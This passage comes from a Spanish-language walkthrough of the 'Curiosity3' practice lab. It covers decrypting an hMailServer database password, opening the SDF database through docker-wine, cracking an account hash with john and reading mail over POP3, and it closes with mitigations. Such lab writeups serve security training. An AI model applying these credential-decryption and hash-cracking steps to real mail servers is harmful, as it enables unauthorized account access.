Referencia (Herramienta hMailDatabasePasswordDecrypter): https://github.com/GitMirar/hMailDatabasePasswordDecrypterReferencia (Herramienta hMailDatabasePasswordDecrypter): https://github.com/GitMirar/hMailDatabasePasswordDecrypterPor ello, se descarga, compila y ejecuta la herramienta para obtener la contraseña de la base de datos en texto plano.
git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
cd hMailDatabasePasswordDecrypter
make
./decrypt <RECORTADO>git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
cd hMailDatabasePasswordDecrypter
make
./decrypt <RECORTADO>
Llegados a este punto lo único que hace falta es una herramienta para visualizar el contenido de esta base de datos. Existe una herramienta específica denominada "SDF Viewer" y aunque es de pago, tiene la posibilidad de realizar una prueba gratuita de 14 días, que para este caso es más que suficiente. Importante tener en cuenta que solo existe para Windows (formato MSI).
Link de descarga (trial 14 días): https://www.flyhoward.com/Download_SDF_Viewer.aspx
Nombre del archivo: SetupSDFviewer.msiLink de descarga (trial 14 días): https://www.flyhoward.com/Download_SDF_Viewer.aspx
Nombre del archivo: SetupSDFviewer.msi
En este punto existen dos claras alternativas para poder instalar y ejecutar esta herramienta:
- Utilizar una máquina virtual de Windows.
- Utilizar Wine.
En resumen, Wine es una capa de compatibilidad que permite ejecutar aplicaciones de Windows en sistemas Linux, traduciendo llamadas de la API de Windows a llamadas equivalentes en el sistema operativo. No es un emulador ni una máquina virtual, sino una implementación de las bibliotecas de Windows. Se utiliza para ejecutar software de Windows en Linux, especialmente aplicaciones sin versión nativa.
Nota importante: La vía más fácil en este caso sería instalarlo en una máquina virtual de Windows. Pero como también existe la posibilidad de no depender de Windows para simplemente ejecutar un programa de forma puntual, lo quería documentar.
En esta guía se va un paso más allá y no se instala Wine. Ya que no tiene sentido instalar un programa de estas características para una ejecución puntual, se decide investigar una alternativa. En este caso se descubre una versión "dockerizada" de Wine que permite utilizar la herramienta temporalmente y luego eliminarla si así se desea. Esta se llama docker-wine.
Herramienta (docker-wine): https://github.com/scottyhardy/docker-wineHerramienta (docker-wine): https://github.com/scottyhardy/docker-wineEn resumen, docker-wine es un proyecto que proporciona una forma de ejecutar aplicaciones de Windows dentro de contenedores Docker usando Wine.
Las ventajas destacables que aporta esta herramienta son las siguientes:
- Aislamiento: cada aplicación Windows se ejecuta en un contenedor separado, sin afectar al sistema anfitrión.
- Portabilidad: el entorno se puede mover y ejecutar fácilmente en cualquier sistema con Docker.
- Reproducibilidad: facilita tener configuraciones consistentes para pruebas o despliegues.
- Menos dependencia del sistema: evita instalar Wine y librerías directamente en el sistema Linux.
Como esta herramienta depende de Docker, es necesario tener Docker instalado antes de utilizarla.
Instalar Docker: sudo apt install -y docker.ioInstalar Docker: sudo apt install -y docker.ioUna vez con Docker instalado, es posible descargar docker-wine y empezar a utilizarlo.
wget https://raw.githubusercontent.com/scottyhardy/docker-wine/master/docker-wine
ls -al docker-wine
chmod +x ./docker-winewget https://raw.githubusercontent.com/scottyhardy/docker-wine/master/docker-wine
ls -al docker-wine
chmod +x ./docker-wine
Para probar que funciona, el caso práctico más fácil es el de ejecutar la aplicación "Notepad". Al ejecutarlo en primera instancia va a tardar ya que necesita descargar y establecer la imagen de Docker necesaria.
sudo ./docker-wine wine notepadsudo ./docker-wine wine notepad
Una vez termina de descargar la imagen y arranca el contenedor, es posible comprobar que se abre una ventana gráfica con la aplicación "Notepad" con la que es posible interactuar. Esto significa que está funcionando correctamente. Tras cerrarla, se cerrará y eliminará el contenedor de forma automática.
Tras investigar las opciones que permite la herramienta y analizar que se necesita para utilizar la aplicación, se constituye un comando de docker-wine para realizar lo siguiente:
- Habilitar la opción de RDP: Esto es necesario para poder interactuar directamente con el contenedor desde una interfaz gráfica y poder hacer así varias operaciones en este sin que finalice su ejecución.
- Compartir archivos mediante un volumen propio: Necesario para poder facilitar tanto el archivo SDF como el instalador en formato MSI al contenedor. Se debe especificar modo
roo read-only para evitar modificaciones inesperadas en el contenido del volumen. Los archivos deben compartirse en el directorio "Documents" del usuariowineuserpara tenerlos accesibles.
Nota importante: Es posible crear un volumen para persistir la instalación que se va a realizar para evitar pasar por el mismo proceso cada vez. En este caso no se hace ya que solo se utiliza para este propósito, enseñando además como funciona la herramienta. Tener en cuenta que esta herramienta genera un usuario de bajos privilegios denominado
wineuserdentro del contexto del contenedor con unas credenciales públicas por defecto y persiste el contenido de su directorio "home" en un volumen denominadowinehome.
El comando resultante es el siguiente. Tras ejecutarlo se puede comprobar que inicia un servicio RDP de forma local.
sudo ./docker-wine --rdp --volume="/home/pyth0nk1d/TheHackersLabs/Curiosity3/assessment:/home/wineuser/Documents:ro"sudo ./docker-wine --rdp --volume="/home/pyth0nk1d/TheHackersLabs/Curiosity3/assessment:/home/wineuser/Documents:ro"
En este punto solo queda conectarse por RDP al contenedor iniciado por la herramienta.
Credenciales RDP por defecto: https://github.com/scottyhardy/docker-wine#connecting-with-an-rdp-client
# Usando las credenciales por defecto del usuario "wineuser" para conectarse por RDP
xfreerdp /u:wineuser /p:wineuser /v:localhostCredenciales RDP por defecto: https://github.com/scottyhardy/docker-wine#connecting-with-an-rdp-client
# Usando las credenciales por defecto del usuario "wineuser" para conectarse por RDP
xfreerdp /u:wineuser /p:wineuser /v:localhost
Ya siempre usando la interfaz ofrecida a través de RDP, en este punto se abre una shell dentro del contenedor y se ejecuta el instalador. Tras cierto progreso, este termina con un error indicando que necesita tener la version 4.8 de .NET Framework instalada para continuar.
Nota importante: Es imprescindible especificar la variable WINEPREFIX en cada ejecución de cualquier herramienta relacionada con Wine dentro del contenedor. En caso contrario no detecta las dependencias instaladas y es posible que falle la ejecución.
ls -al Documents/SetupSDFviewer.msi
WINEPREFIX="$HOME/.wine" wine msiexec /i "/home/wineuser/Documents/SetupSDFviewer.msi"
...
This setup requires the .NET Framework version 4.8. Please install .NET Framework and run this setup again. The .Net Framework can be obtained from the web.ls -al Documents/SetupSDFviewer.msi
WINEPREFIX="$HOME/.wine" wine msiexec /i "/home/wineuser/Documents/SetupSDFviewer.msi"
...
This setup requires the .NET Framework version 4.8. Please install .NET Framework and run this setup again. The .Net Framework can be obtained from the web.
Para instalar esta dependencia, se utiliza otra herramienta asociada a Wine denominada winetricks y que ya viene instalada en el contenedor.
En resumen, winetricks es una herramienta auxiliar para Wine que facilita la instalación y configuración de componentes de Windows en Linux.
Esta herramienta permite instalar bibliotecas, fuentes, configuraciones y dependencias habituales (como .NET o Visual C++ Redistributable) dentro de entornos Wine.
Se utiliza para mejorar la compatibilidad de aplicaciones y corregir dependencias necesarias, como en este caso. Automatiza tareas que, de otro modo, requerirían configuración manual.
Por ello, se utiliza para instalar en este la dependencia necesaria asociada a .NET 4.8. Es normal que tarde un poco, ya que tiene que realizar toda la instalación y configuración de esta dependencia, pero una vez termine, indica lo siguiente.
WINEPREFIX="$HOME/.wine" winetricks -q dotnet48
...
Executing touch /home/wineuser/.wine/dosdevices/c:/windows/dotnet48.installed.workaroundWINEPREFIX="$HOME/.wine" winetricks -q dotnet48
...
Executing touch /home/wineuser/.wine/dosdevices/c:/windows/dotnet48.installed.workaround
En este punto ya permite ejecutar el instalador sin que vuelva a salir este error.
WINEPREFIX="$HOME/.wine" wine msiexec /i "/home/wineuser/Documents/SetupSDFviewer.msi"WINEPREFIX="$HOME/.wine" wine msiexec /i "/home/wineuser/Documents/SetupSDFviewer.msi"
Tras pulsar "Next" se desmarca la opción para crear bases de datos por defecto.
Tras pulsar "Next" se mantiene el directorio de instalación por defecto.
Tras pulsar "Next" se aceptan los términos y condiciones.
Tras pulsar "Next" confirmar el proceso de instalación.
Tras pulsar el último "Next", dejar marcada la casilla para que el programa se ejecute automáticamente.
Al pulsar en "Close" pueden ocurrir dos cosas:
- Que el programa se abra correctamente
- Que dé el siguiente error
En el caso de que dé este error no se abre por el momento ya que el propio programa necesita una serie de dependencias para poder funcionar. Tras investigar, se resuelven estas dependencias recurriendo nuevamente a winetricks. Las nuevas dependencias a instalar son las siguientes:
- Paquete "corefonts": fuentes básicas de Windows necesarias para mostrar menús, ventanas y datos de manera legible.
- Paquete "vcrun2019": Microsoft Visual C++ 2019 Redistributable, necesario para incluir librerías dinámicas (DLLs) necesarias para su funcionamiento.
- Paquete "msxml6": Microsoft XML Parser versión 6 (MSXML 6.0), necesario para gestión de archivos de configuración en formato XML que necesitan ciertas librerías.
Es posible que tarde un poco, ya que tiene que realizar toda la instalación y configuración de estas dependencias, pero una vez termine, indica lo siguiente.
WINEPREFIX="$HOME/.wine" winetricks -q corefonts vcrun2019 msxml6WINEPREFIX="$HOME/.wine" winetricks -q corefonts vcrun2019 msxml6
Como la herramienta ya esta instalada, es posible acceder a ella directamente a través de las aplicaciones instaladas.
Applications > Wine > Programs > SDF ViewerApplications > Wine > Programs > SDF Viewer
Esto hace que el programa se abra correctamente, especificando en la parte superior que quedan 14 días de la versión de prueba.
En este punto, para poder abrir sin errores adicionales el archivo SDF, es necesario hacer una copia de este al directorio "Desktop" para que herede los permisos del usuario wineuser.
Esto se debe a que al estar compartido a través del volumen en modo read-only, no permite escritura y la herramienta necesita poder realizar este tipo de operaciones. Además, se realiza una copia para evitar modificar el archivo orignal.
ls -al Documents/hMailServer.sdf
cp Documents/hMailServer.sdf Desktop/hMailServer.sdf
ls -al Desktop/hMailServer.sdfls -al Documents/hMailServer.sdf
cp Documents/hMailServer.sdf Desktop/hMailServer.sdf
ls -al Desktop/hMailServer.sdf
A continuación se abre el archivo desde el programa SDF Viewer.
File > OpenFile > Open
Se selecciona la copia creada en el directorio "Desktop" y se pulsa en "Open".
Tras realizar esto, solicita la contraseña necesaria para poder abrir y revisar la base de datos. Por ello, solo hay que facilitársela y marcar que recuerde la contraseña.
Tras pulsar en "OK", la base de datos se desbloquea y es posible inspeccionarla con total libertad.
Tras revisar el contenido de la base de datos, lo único relevante que se encuentra son unas credenciales en la tabla "hm_accounts" asociadas a una cuenta en particular, la cual parece ser la encargada de recibir los correos del formulario de contacto encontrada prácticamente al principio de esta guía.
accountaddress: contact@nextech.local
accountpassword: <RECORTADO>accountaddress: contact@nextech.local
accountpassword: <RECORTADO>
Al comprobar el formato de este hash, parece corresponder a un formato específico del servicio hMailServer.
hashid <RECORTADO>
...
[+] hMailServerhashid <RECORTADO>
...
[+] hMailServer
Tras intentar romper este hash utilizando contraseñas conocidas de este laboratorio, resulta en ser la contraseña utilizada por el usuario "Vicky.Tale".
mousepad contact.hash -> (pegar el hash y guardar)
john --wordlist=curiosity3-passwords.txt --format=hmailserver contact.hashmousepad contact.hash -> (pegar el hash y guardar)
john --wordlist=curiosity3-passwords.txt --format=hmailserver contact.hash
Como esta cuenta está asociada al servicio hMailServer, es posible autenticarse contra cualquiera de los servicios de correo disponibles utilizando estas credenciales.
En este caso, se prueba a conectarse a través del servicio POP3 para poder acceder a la bandeja de correo de esta cuenta.
telnet 192.168.56.19 110
USER contact@nextech.local
PASS <RECORTADO>
listtelnet 192.168.56.19 110
USER contact@nextech.local
PASS <RECORTADO>
list
Se revisan todos y tras revisarlos los únicos correos de real relevancia son los que se han podido obtener de forma manual a través del directorio "/contact/" de la web encontrada a través del puerto 80. Es decir, de la forma que se descubren las credenciales del usuario "Vicky.Tale".
Se descubre un usuario "student" con la misma contraseña que el usuario de dominio "Vicky.Tale", pero a nivel local o Directorio Activo este usuario no existe. Tampoco se ha detectado ningún servicio en el que se utilice, por lo que se entiende que es un texto de ejemplo.
Mitigaciones a aplicar
- Asegurarse de que los servicios expuestos no expongan contenido sensible, especialmente cuando es posible acceder de forma anónima.
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
- Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
- Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou o que se permita asignar una sin la suficiente complejidad. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Evitar malas prácticas como la reutilización de contraseñas entre cuentas o servicios.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios, grupos y recursos única y exclusivamente los privilegios que vayan a necesitar. Recomendación: existen guías de hardening por parte de Microsoft de Active Directory para aplicar buenas prácticas y asegurar entre otras cosas, los permisos y tomar acciones concretas sobre los distintos activos gestionados a través de este entorno.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
Nota final al lector
A pesar de todos los hallazgos realizados, personalmente me he quedado con la sensación que aún hay cosas pendientes por ser encontradas. Por ello, insto a cualquier curioso que intente resolver este laboratorio y trate de realizar y documentar más hallazgos que puedan faltar en esta guía.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com